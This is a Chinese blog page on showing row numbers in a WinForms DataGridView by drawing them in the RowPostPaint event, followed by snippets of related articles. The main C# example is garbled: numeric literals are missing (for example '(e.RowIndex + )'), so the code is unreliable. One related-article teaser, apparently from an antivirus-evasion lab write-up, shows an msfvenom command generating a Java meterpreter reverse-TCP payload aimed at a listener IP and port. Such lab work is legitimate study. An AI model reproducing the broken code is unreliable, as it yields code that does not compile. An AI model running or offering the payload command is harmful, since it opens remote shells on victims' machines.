DataGridView显示行号-RowPostPaint
DataGridView控件在显示数据时,我们有时候需要显示行号,以便检索查看方便使用。

但DataGridView默认没有设置显示行号的属性。
此时我们只要在DataGridView的RowPostPaint事件中进行绘制,实现其效果:
private void dataGridView1_RowPostPaint(object sender, DataGridViewRowPostPaintEventArgs e)
{
SolidBrush b = new SolidBrush(this.dataGridView1.RowHeadersDefaultCellStyle.ForeColor);
e.Graphics.DrawString((e.RowIndex + ).ToString(System.Globalization.CultureInfo.CurrentUICulture), this.dataGridView1.DefaultCellStyle.Font, b, e.RowBounds.Location.X + , e.RowBounds.Location.Y + );
}
试试看!!
DataGridView显示行号-RowPostPaint的更多相关文章
- Winform中的DatagridView显示行号
1.设置 RowPostPaint 为true 2.启用RowPostPaint事件 /// <summary> /// DataGridView显示行号 /// </summary ...
- DataGridView显示行号
//可以在DataGirdView的RowPostPaint事件中进行绘制. //如:添加以下方法代码 private void DrawRowIndex(object sender, DataGri ...
- C# DataGridView显示行号的三种方法
方法一: 网上最常见的做法是用DataGridView的RowPostPaint事件在RowHeaderCell中绘制行号: private void dgGrid_RowPostPaint( obj ...
- DataGridView显示行号的几种方法来自http://www.soaspx.com/dotnet/csharp/csharp_20100204_2740.html
方法一: 网上最常见的做法是用DataGridView的RowPostPaint事件在RowHeaderCell中绘制行号: private void dataGridView1_RowPostPai ...
- 【转】DataGridView显示行号
ref:http://blog.csdn.net/xieyufei/article/details/9769631 方法一: 网上最常见的做法是用DataGridView的RowPostPaint事件 ...
- 让DataGridView显示行号
http://www.cnblogs.com/JuneZhang/archive/2011/11/21/2257630.html 为了表示行号,我们可以在DataGridView的RowP ...
- DataGridView 显示行号与背景颜色
实现的方式有好几种.之前使用的是下面这种在RowPostPaint事件中实现,效率不高.每次改变控件尺寸时都会执行 private void MsgGridView_RowPostPaint(obje ...
- DataGridView大扩展——显示行号
原文 DataGridView大扩展——显示行号 在DataGridView 的实际使用中,经常需要标示出行号,这样可以比较醒目地看到当前信息.不过DataGridView 在绘制 DataGridV ...
- DataGridView自动行号
最近又用了一下DataGridView控件,需要显示行号,我们知道在.net中DataGridView控件默认是不显示行号(数据的记录行数)的,后来通过查资料发现可以在DataGridView控件的R ...
随机推荐
- BZOJ3173:[TJOI2013]最长上升子序列(Splay)
Description 给定一个序列,初始为空.现在我们将1到N的数字插入到序列中,每次将一个数字插入到一个特定的位置.每插入一个数字,我们都想知道此时最长上升子序列长度是多少? Input 第一行一 ...
- rhel7.6上安装Oracle 19.2.0.0 RAC
1. 软硬件检查 2. 安装前环境配置 3. 安装GI su - grid -- 解压软件包 unzip -q /ups/soft/V981627-01.zip -d ${ORACLE_HOME} - ...
- docker devicemapper 问题
DOCKER_OPTS= "--storage-driver=devicemapper --storage-opt dm.basesize=50G --storage-opt dm.da ...
- WorldWind源码剖析系列:星球类World
星球类World代表通用的星球类,因为可能需要绘制除地球之外的其它星球,如月球.火星等.该类的类图如下. 需要说明的是,在WorldWind中星球球体的渲染和经纬网格的渲染时分别绘制的.经纬网格的渲染 ...
- echarts 中文API
http://echarts.baidu.com/echarts2/doc/doc.html#Toolbox
- cloudstack secondary vm starting
等1个小时,差不多可以进入虚拟机,看日志/var/log/cloud.log
- 备份时如何排除掉默认的 information_schema 和 mysql 库?
备份时如何排除掉默认的 information_schema 和 mysql 库? mysql -e "show databases;" -uroot -ppassword | g ...
- golang postgresql CRUD
package main import ( "database/sql" "fmt" "log" _ "github.com/li ...
- ASP HUOSHAN VIDEO
<html> <head> <meta http-equiv="Content-Type" content="text/html; char ...
- 20155234 Exp3 免杀原理与实践
使用msf编码器生成jar包 使用指令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.157.141 lport=5234 x> ...